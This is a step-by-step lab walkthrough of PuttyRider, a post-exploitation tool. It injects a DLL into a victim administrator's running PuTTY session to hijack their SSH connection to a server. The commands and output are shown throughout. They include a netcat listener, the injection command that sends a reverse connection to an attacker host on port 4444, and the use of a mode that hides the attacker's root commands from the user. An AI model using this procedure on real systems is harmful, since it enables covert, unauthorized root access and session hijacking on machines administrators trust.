PuttyRider

Victim:      192.168.108.191
SSH Server:  192.168.108.123
Attacker:    192.168.108.197

# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# //////////////// [1. Description] //////////////////////////
Victim ---- putty ----> SSH Server

Victim is a administrator, and he can manage SSH Server.
Now we have control the Victim machine, and want to get
SSH Server password.

Victim use [putty] to access SSH Server, and [Putty] is still running.
How can we do ?

PuttyRider ----  https://github.com/seastorm/PuttyRider/releases/
           ----  sources and binary

# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# //////////////// [2. Usage] //////////////////////////
1. We need a TCP listener. [nc -v -l -p 4444]
2. Use [PuttyRider] to inject [Putty]

# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# ---------->>>>  Victim Machine <<<<--------------

C:\Users\Public\PuttyRider-bin>dir
......
2014/12/09  05:00            80,896 PuttyRider.dll
2014/12/09  05:00            77,824 PuttyRider.exe
......

C:\Users\Public\PuttyRider-bin>PuttyRider.exe -h


PuttyRider v0.1
===============


Usage: PuttyRider.exe [options]

Options:

  Operation modes:
    -l      List the running Putty processes and their connections
    -w      Inject in all existing Putty sessions and wait for new sessions
            to inject in those also
    -p PID  Inject only in existing Putty session identified by PID.
            If PID==0, inject in the first Putty found
    -x      Cleanup. Remove the DLL from all running Putty instances
    -d      Debug mode. Only works with -p mode
    -c CMD  Automatically execute a Linux command after successful injection
            PuttyRider will remove trailing spaces and '&' character from CMD
            PuttyRider will add " 1>/dev/null 2>/dev/null &" to CMD
    -h      Print this help

  Output modes:
    -f          Write all Putty conversation to a file in the local directory.
                The filename will have the PID of current putty.exe appended
    -r IP:PORT  Initiate a reverse connection to the specified machine and
                start an interactive session.

  Interactive commands (after you receive a reverse connection):
    !status     See if the Putty window is connected to user input
    !discon     Disconnect the main Putty window so it won't display anything
                This is useful to send commands without the user to notice
    !recon      Reconnect the Putty window to its normal operation mode
    CMD         Linux shell commands
    !exit       Terminate this connection
    !help       Display help for client connection


C:\Users\Public\PuttyRider-bin>PuttyRider.exe -l


PuttyRider v0.1
===============

[+] Listing running Putty processes...

Process Name    PID     Local Address           Remote Address          Injected
------------    ---     -------------           --------------          --------
putty.exe       2452    192.168.108.191:49164   192.168.108.123:22      No


C:\Users\Public\PuttyRider-bin>PuttyRider.exe -p 2452 -r 192.168.108.197:4444


PuttyRider v0.1
===============

[+] Using putty.exe PID=2452
[+] Injecting DLL...
[+] Pipe client connected
[+] [2452] Target path: C:\Users\test\Desktop\putty.exe
[+] [2452] Base address: 00400000
[+] [2452] .text start address: 00001000
[+] [2452] .text size: 00055fb1
[+] [2452] ldisc_send() found at: 004083ee
[+] [2452] term_data() found at: 004371a8
[+] [2452] Connecting to 192.168.108.197:4444
[+] [2452] Reverse connection succeeded
[+] [2452] Function hooks installed successfully
[+] Check the log file and/or the remote connection handler
[+] Exiting PuttyRider

# +++++++++++++++++++++++++++++++++++++++++++++++++++
# ---------->>>> Attacker Machine  <<<<--------------
$ nc.traditional -v -l -p 4444
offensive@lib:~$ nc.traditional -v -l -p 4444
listening on [any] 4444 ...
192.168.108.191: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.108.197] from (UNKNOWN) [192.168.108.191] 49167

PuttyRider v0.1
===============

[+] [2452] Client connected. Putty PID=2452
[+] [2452] Type !help for more commands
!help
Help commands:
    !status     See if the Putty window is connected to user input
    !discon     Disconnect the main Putty window so it won't display any message
                This is useful to send shell commands without the user's notice
    !recon      Reconnect the Putty window to its normal operation mode
    CMD         Linux shell commands
    !exit       Terminate this connection
    !help       Display help for client connection

!discon  --------> *****
[+] [2452] Local  endpoint: 192.168.108.191:49166
[+] [2452] Remote endpoint: 192.168.108.123:22
 [+] [2452] Putty window disconnected
id
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
[root@Arch ~]# !recon   --------> *****
[+] [2452] Putty window connected
id
[-] [2452] You must first disconnect the Putty window (!discon command)